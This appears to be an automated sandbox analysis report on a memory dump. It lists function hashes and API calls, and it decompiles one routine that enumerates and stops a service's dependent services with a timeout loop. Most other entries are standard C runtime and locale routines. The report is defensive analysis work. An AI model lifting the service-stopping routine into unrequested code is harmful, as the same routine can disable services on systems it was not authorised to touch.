Instruction ID: c8faeed8834b0828294f508eb4ec7dd568d999dccb8a7cd42bad6bb2e90a83eb
Opcode Fuzzy Hash: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
Instruction Fuzzy Hash: A0419332B615128BD708CF3DC895BA5F7E1FB98310F5587A9E42ACB2C1DB35E9148B84

Uniqueness

Uniqueness Score: 0.00%

Function 00104830, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8f2f723cd1057edab53efbeb6e41af22095369c9135445537d809705c9357389
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 57110BF72010C143E608CAADD8F45B69395EBC532172DCB7BD3C14B6D4D3A2E9559600

Uniqueness

Uniqueness Score: 0.00%

Function 000947F0, Relevance: 18.1, APIs: 12, Instructions: 137
memoryservicesleepUNIQUE

Download Yara Rule

C-Code - Quality: 70%

			E000947F0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				struct _ENUM_SERVICE_STATUS* _v8;
				signed int _v12;
				char _v20;
				signed int _v32;
				long _v44;
				intOrPtr _v64;
				struct _SERVICE_STATUS _v68;
				int _v72;
				int _v76;
				void* _v80;
				signed int _v84;
				struct _ENUM_SERVICE_STATUS* _v88;
				long _v92;
				intOrPtr _v96;
				void* _v100;
				void* _v104;
				short* _v108;
				void* __ebp;
				signed int _t44;
				signed int _t45;
				short* _t65;
				struct _SERVICE_STATUS* _t71;
				void* _t83;
				signed int _t85;
				struct _ENUM_SERVICE_STATUS* _t89;
				void* _t90;
				signed int _t91;

				_push(0xfffffffe);
				_push(0x1634b8);
				_push(E00104660);
				_push( *[fs:0x0]);
				_t44 =  *0x16f170; // 0xdb2c627e
				_v12 = _v12 ^ _t44;
				_t45 = _t44 ^ _t91;
				_v32 = _t45;
				_push(_t45);
				 *[fs:0x0] =  &_v20;
				_v80 = __edx;
				_t83 = __ecx;
				_v104 = __edx;
				_v92 = GetTickCount();
				_v96 = 0x7530;
				if(EnumDependentServicesW(_t83, 1, 0, 0,  &_v72,  &_v76) == 0) {
					if(GetLastError() != 0xea) {
						L13:
					} else {
						_t89 = HeapAlloc(GetProcessHeap(), 8, _v72);
						_v88 = _t89;
						if(_t89 == 0) {
							goto L13;
						} else {
							_v8 = 0;
							if(EnumDependentServicesW(_t83, 1, _t89, _v72,  &_v72,  &_v76) == 0) {
								L12:
								E0010CF30(_t91, 0x16f170,  &_v20, 0xfffffffe);
								goto L13;
							} else {
								_t85 = 0;
								_v84 = 0;
								while(_t85 < _v76) {
									asm("movups xmm1, [esi+eax*4]");
									asm("movups xmm0, [esi+eax*4+0x10]");
									asm("movups [ebp-0x78], xmm0");
									_t65 =  *(_t89 + 0x20 + (_t85 + _t85 * 8) * 4);
									_v108 = _t65;
									asm("movd eax, xmm1");
									_t90 = OpenServiceW(_v80, _t65, 0x24);
									_v100 = _t90;
									if(_t90 == 0) {
										goto L12;
									} else {
										_v8 = 1;
										if(ControlService(_t90, 1,  &_v68) == 0) {
											goto L12;
										} else {
											while(_v64 != 1) {
												Sleep(_v44);
												_t71 =  &_v68;
												__imp__QueryServiceStatusEx(_t90, 0, _t71, 0x24,  &_v72);
												if(_t71 == 0) {
													goto L12;
												} else {
													if(_v64 == 1) {
														break;
													} else {
														if(GetTickCount() - _v92 <= _v96) {
															continue;
														} else {
															goto L12;
														}
													}
												}
												goto L17;
											}
											_v8 = 0;
											E0009497A(_t90);
											_t85 = _t85 + 1;
											_v84 = _t85;
											_t89 = _v88;
											continue;
										}
									}
									goto L17;
								}
								_v8 = 0xfffffffe;
								E000949B2(_t89);
								goto L16;
							}
						}
					}
				}
				L17:
				 *[fs:0x0] = _v20;
				return E000ECED8(_v32 ^ _t91);
			}

APIs

GetTickCount.KERNEL32(DB2C627E,7757C452,?), ref: 0009482D
EnumDependentServicesW.ADVAPI32(?,00000001,00000000,00000000,?,?), ref: 0009484C
GetLastError.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009485A
GetProcessHeap.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009486E
HeapAlloc.KERNEL32(00000000,00000008,?,?,00000001,00000000,00000000,?,?), ref: 00094878
EnumDependentServicesW.ADVAPI32(?,00000001,00000000,?,?,?), ref: 000948A1
OpenServiceW.ADVAPI32(?,?,00000024,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948DE
ControlService.ADVAPI32(00000000,00000001,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948FB
Sleep.KERNEL32(?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009490E
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?), ref: 00094921
GetTickCount.KERNEL32(?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 00094931
@_EH4_CallFilterFunc@8.LIBCMT ref: 0009494A

Part of subcall function 0009497A: CloseServiceHandle.ADVAPI32(00000000,00094962,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009497B

Part of subcall function 000949B2: GetProcessHeap.KERNEL32(00000000,00000000,0009498E,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000949B5
Part of subcall function 000949B2: HeapFree.KERNEL32(00000000,?,00000001), ref: 000949BC

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: HeapService$CountDependentEnumProcessServicesTick$AllocCallCloseControlErrorFeatureFilterFreeFunc@8HandleLastOpenPresentProcessorQuerySleepStatus___raise_securityfailure
String ID:
API String ID: 2917512662-0
Opcode ID: 95cf688bcd91a9f6e22fac4c34207fad7fa26d588ea12c9b07047ce439708892
Instruction ID: 583dd47422c69698cd69c00a26502185dcdb0fbe60c19c248e298c1be481ac95
Opcode Fuzzy Hash: 95cf688bcd91a9f6e22fac4c34207fad7fa26d588ea12c9b07047ce439708892
Instruction Fuzzy Hash: D9515371D00208ABDF21CFA4DC49FAEBBB8FF09700F504129F955E6290DB74A986DB61

Uniqueness

Uniqueness Score: 100.00%

Function 00120789, Relevance: 13.8, APIs: 9, Instructions: 300fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 001208A9

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 001208B0
GetConsoleMode.KERNEL32(001100DF,?), ref: 00120A17
ReadConsoleW.KERNEL32(001100DF,?,00000000,?,00000000), ref: 00120A39
GetLastError.KERNEL32(?,?,?,?,00000000,00001000,?,?,?,?,001100DF,00000000), ref: 00120A43
__dosmaperr.LIBCMT ref: 00120A4A
_free.LIBCMT ref: 00120A54
ReadFile.KERNEL32(001100DF,?,00000000,?,00000000), ref: 00120A81

Part of subcall function 001202E5: ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 001203C5

Part of subcall function 001204A5: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,00000000,?,?,00000000,00001000), ref: 001205B2
Part of subcall function 001204A5: GetLastError.KERNEL32(?,?,00000000,?,?,00000000,00001000,?,?,?,?,00000000,00001000,?), ref: 001205BE
Part of subcall function 001204A5: __dosmaperr.LIBCMT ref: 001205C5

GetLastError.KERNEL32(?,?,?,?,00000000,00001000,?,?,?,?,001100DF,00000000), ref: 00120AE5

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$Read_free$ConsoleFileHeap__dosmaperr$AllocateByteCharFreeModeMultiWide
String ID:
API String ID: 2603811377-0
Opcode ID: 2f57a8addc66b5dd87e1b982b8565859d6304a26971710e5f1277855f05ba13d
Instruction ID: 290beedfd0a487b17661b8be03620e960dd471e4ca3398041e78f34de1201a6a
Opcode Fuzzy Hash: 2f57a8addc66b5dd87e1b982b8565859d6304a26971710e5f1277855f05ba13d
Instruction Fuzzy Hash: D6C1DF74E043599FDF16DFA8E841BADBBB0AF1D310F184299E848A7293C7709991CB61

Uniqueness

Uniqueness Score: 4.01%

Function 000D0430, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 255UNIQUE

Download Yara Rule

APIs

Part of subcall function 00093200: __CxxThrowException@8.LIBVCRUNTIME ref: 00093286

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000D067B
__CxxThrowException@8.LIBVCRUNTIME ref: 000D06A6

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 000D06F2

Strings

Rounds, xrefs: 000D0486
VariableRounds, xrefs: 000D064D
RoundUpToMultipleOf: integer overflow, xrefs: 000D0680

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID: RoundUpToMultipleOf: integer overflow$Rounds$VariableRounds
API String ID: 106381449-1802619191
Opcode ID: 99cc0b946b82b27db8dcf4cd07dd4d75269f0613030c1adfb40879e95247ce4e
Instruction ID: 5c66bb9e8c8a62d5bdec2f53175072b34e7749a7755296a56bf294d0d432368b
Opcode Fuzzy Hash: 99cc0b946b82b27db8dcf4cd07dd4d75269f0613030c1adfb40879e95247ce4e
Instruction Fuzzy Hash: D1A12DB1D002199FCB14DFA9D881B9EB7F9EF49710F10822AE815EB381E775A915CF90

Uniqueness

Uniqueness Score: 100.00%

Function 00058770, Relevance: 10.7, APIs: 7, Instructions: 174UNIQUE

Download Yara Rule

APIs

Part of subcall function 00063B80: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 00063BE5

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,DB2C627E,80000000,?,00000000,?,?,00062B15,00000000,000000FF), ref: 000587D1
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,?,DB2C627E,80000000,?,00000000,?,?,00062B15,00000000,000000FF), ref: 000587ED
CloseHandle.KERNEL32(00000000), ref: 00058867
CloseHandle.KERNEL32(00000000), ref: 0005887C
CloseHandle.KERNEL32(?), ref: 000588D7
CloseHandle.KERNEL32(?), ref: 000588E9

Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067377
Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067385

Part of subcall function 00058630: CreateEventA.KERNEL32(?,?,?,?,DB2C627E,?,?,?,?,?,?,?,0012D348,000000FF,?,00063BD7), ref: 00058667
Part of subcall function 00058630: CloseHandle.KERNEL32(00000000), ref: 00058682

SetEvent.KERNEL32(00000000,?,DB2C627E,80000000,?,00000000,?), ref: 00058946

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$EventReleaseSemaphore$CreateObjectSingleWait
String ID:
API String ID: 2804137401-0
Opcode ID: 021ec5950952596fd3493ae3cdd6db8689d62abcf9f96587bdd3fb7fb984d576
Instruction ID: 988184ebf31f6dbd702ab64e5b30769962b4f736a5c56b32c4e3a2fe571ac952
Opcode Fuzzy Hash: 021ec5950952596fd3493ae3cdd6db8689d62abcf9f96587bdd3fb7fb984d576
Instruction Fuzzy Hash: 5E51B171A002019BDB209F68D884B7BB7E4FF04325F694658ED15B7291DF31ED498BA2

Uniqueness

Uniqueness Score: 100.00%

Function 00070750, Relevance: 10.6, APIs: 7, Instructions: 125UNIQUE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0007077C
std::_Lockit::_Lockit.LIBCPMT ref: 0007079E
std::_Lockit::~_Lockit.LIBCPMT ref: 000707BE

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getctype.LIBCPMT ref: 00070860
__Getcvt.LIBCPMT ref: 00070870

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 000708AA
std::_Lockit::~_Lockit.LIBCPMT ref: 000708CA

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_GetctypeGetcvtLocinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2980000318-0
Opcode ID: 4ac3e3446624887be4bc2bf51bd8fe368a86cc8433e26a0d419177cbe59aee49
Instruction ID: c1a6d7ee5d989b7c13d0d6c222965e130e810640b0de6a720409d88fdcbec5d4
Opcode Fuzzy Hash: 4ac3e3446624887be4bc2bf51bd8fe368a86cc8433e26a0d419177cbe59aee49
Instruction Fuzzy Hash: BE51CD70D04205DBDB21DF58C940AAAB7F4FF14710F148259E88DAB252EB34BA85CBE2

Uniqueness

Uniqueness Score: 100.00%

Function 00104660, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117UNIQUE

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0010468B
___except_validate_context_record.LIBVCRUNTIME ref: 00104693

Part of subcall function 0010D080: @_EH4_CallFilterFunc@8.LIBCMT ref: 0010D08B

_ValidateLocalCookies.LIBCMT ref: 00104721
__IsNonwritableInCurrentImage.LIBCMT ref: 0010474C

Part of subcall function 0012C690: __FindPESection.LIBCMT ref: 0012C6E9

Part of subcall function 0010D064: RtlUnwind.KERNEL32(00000001,0010D079,?,00000000,00000001,?,?,?,00104780), ref: 0010D073

_ValidateLocalCookies.LIBCMT ref: 001047A1

Strings

csm, xrefs: 00104736

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CallCurrentFilterFindFunc@8ImageNonwritableSectionUnwind___except_validate_context_record
String ID: csm
API String ID: 2450895059-1018135373
Opcode ID: 8e128ab7e3f5f3bd7d16c356270263a5d5a3a593f0ca9a5e11fdb66931df98d1
Instruction ID: 6320881fda13ff52aebc433596d4571cb8dfcaca11eba2a1f92ab096a64c4097
Opcode Fuzzy Hash: 8e128ab7e3f5f3bd7d16c356270263a5d5a3a593f0ca9a5e11fdb66931df98d1
Instruction Fuzzy Hash: B6410774E00208DBCF10DF68D8C4A9E7BB5BF46314F148155EA595B3D2D7B2E911CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000DC11C, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC123
std::_Lockit::_Lockit.LIBCPMT ref: 000DC12D
int.LIBCPMT ref: 000DC144

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

codecvt.LIBCPMT ref: 000DC167

Part of subcall function 000DDD33: __EH_prolog3.LIBCMT ref: 000DDD3A
Part of subcall function 000DDD33: codecvt.LIBCPMT ref: 000DDD7A

std::_Facet_Register.LIBCPMT ref: 000DC17E
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC19E
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC1BC

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_codecvt$ExceptionException@8Facet_RaiseRegisterThrow
String ID:
API String ID: 2577922056-0
Opcode ID: 615fe4f4c500e9afb6e7d5be1a1630e24456bcabb999b86da847344f23f1c30c
Instruction ID: 17682a17564bad5d5fb6d4a6a24b7a10f58e351e54ca57af47aa0f6e8e48b886
Opcode Fuzzy Hash: 615fe4f4c500e9afb6e7d5be1a1630e24456bcabb999b86da847344f23f1c30c
Instruction Fuzzy Hash: 4211EC798002299BCF04EBA0CC16AEEB7B5AF84310F14050AF805A7393CF349A05CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 000DC1C2, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC1C9
std::_Lockit::_Lockit.LIBCPMT ref: 000DC1D3
int.LIBCPMT ref: 000DC1EA

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

collate.LIBCPMT ref: 000DC20D

Part of subcall function 000DDD99: __EH_prolog3_GS.LIBCMT ref: 000DDDA0
Part of subcall function 000DDD99: __Getcoll.LIBCPMT ref: 000DDE04

std::_Facet_Register.LIBCPMT ref: 000DC224
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC244
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC262

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionException@8Facet_GetcollH_prolog3H_prolog3_RaiseRegisterThrowcollate
String ID:
API String ID: 3500475791-0
Opcode ID: bb2e603664eb4cf2db6a19599bf1281b4abdcda20e89a489eb4aca07815ec22a
Instruction ID: b87fb1a021d497e54c4e23635e6a4bfccbcd31a1b4086677f743f08355642b75
Opcode Fuzzy Hash: bb2e603664eb4cf2db6a19599bf1281b4abdcda20e89a489eb4aca07815ec22a
Instruction Fuzzy Hash: AA110E758042299BCF04EBE4C816AFEB7B2AF94310F14010BF8057B392DB34AE05CBA0

Uniqueness

Uniqueness Score: 37.75%

Function 000DC268, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC26F
std::_Lockit::_Lockit.LIBCPMT ref: 000DC279
int.LIBCPMT ref: 000DC290

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

ctype.LIBCPMT ref: 000DC2B3

Part of subcall function 000DDE3B: __EH_prolog3.LIBCMT ref: 000DDE42

std::_Facet_Register.LIBCPMT ref: 000DC2CA
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC2EA
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC308

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrowctype
String ID:
API String ID: 1393812637-0
Opcode ID: 58cad0378cff57fe998261323da74c4cc351d4095d05774347857fa64e752896
Instruction ID: 72b4479a7691a609cf4bc6de014efb21395eb2c7fab7cf356804e42075599d7b
Opcode Fuzzy Hash: 58cad0378cff57fe998261323da74c4cc351d4095d05774347857fa64e752896
Instruction Fuzzy Hash: 6411C2759002199BCF04FBA4C846AFE77B5AF94710F14010AF805B7392DF749E05CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 000DC30E, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC315
std::_Lockit::_Lockit.LIBCPMT ref: 000DC31F
int.LIBCPMT ref: 000DC336

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

messages.LIBCPMT ref: 000DC359

Part of subcall function 000DDEAB: __EH_prolog3.LIBCMT ref: 000DDEB2

std::_Facet_Register.LIBCPMT ref: 000DC370
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC390
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC3AE

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$H_prolog3Lockit::_Lockit::~_$ExceptionException@8Facet_RaiseRegisterThrowmessages
String ID:
API String ID: 2504174780-0
Opcode ID: 2d50e0a63d538abaf4ad8f6aa22621914bedf1c0ead372b80e05fb655acf0b10
Instruction ID: 799561f828f90bb3dbded5e6573498aab7ccf7a91ae6c5cea4723b5242e8cc5f
Opcode Fuzzy Hash: 2d50e0a63d538abaf4ad8f6aa22621914bedf1c0ead372b80e05fb655acf0b10
Instruction Fuzzy Hash: 8D11CE7590021A9BCF05EBA4C846AEEB7B5AF94310F14450AF8057B3A2DF74AE05CBA0

Uniqueness

Uniqueness Score: 37.75%

Function 000DC3B4, Relevance: 10.6, APIs: 7, Instructions: 54UNIQUE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000DC3BB
std::_Lockit::_Lockit.LIBCPMT ref: 000DC3C5
int.LIBCPMT ref: 000DC3DC

Part of subcall function 00052020: std::_Lockit::_Lockit.LIBCPMT ref: 00052031
Part of subcall function 00052020: std::_Lockit::~_Lockit.LIBCPMT ref: 0005204B

messages.LIBCPMT ref: 000DC3FF

Part of subcall function 000DDF13: __EH_prolog3.LIBCMT ref: 000DDF1A

std::_Facet_Register.LIBCPMT ref: 000DC416
std::_Lockit::~_Lockit.LIBCPMT ref: 000DC436
__CxxThrowException@8.LIBVCRUNTIME ref: 000DC454

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

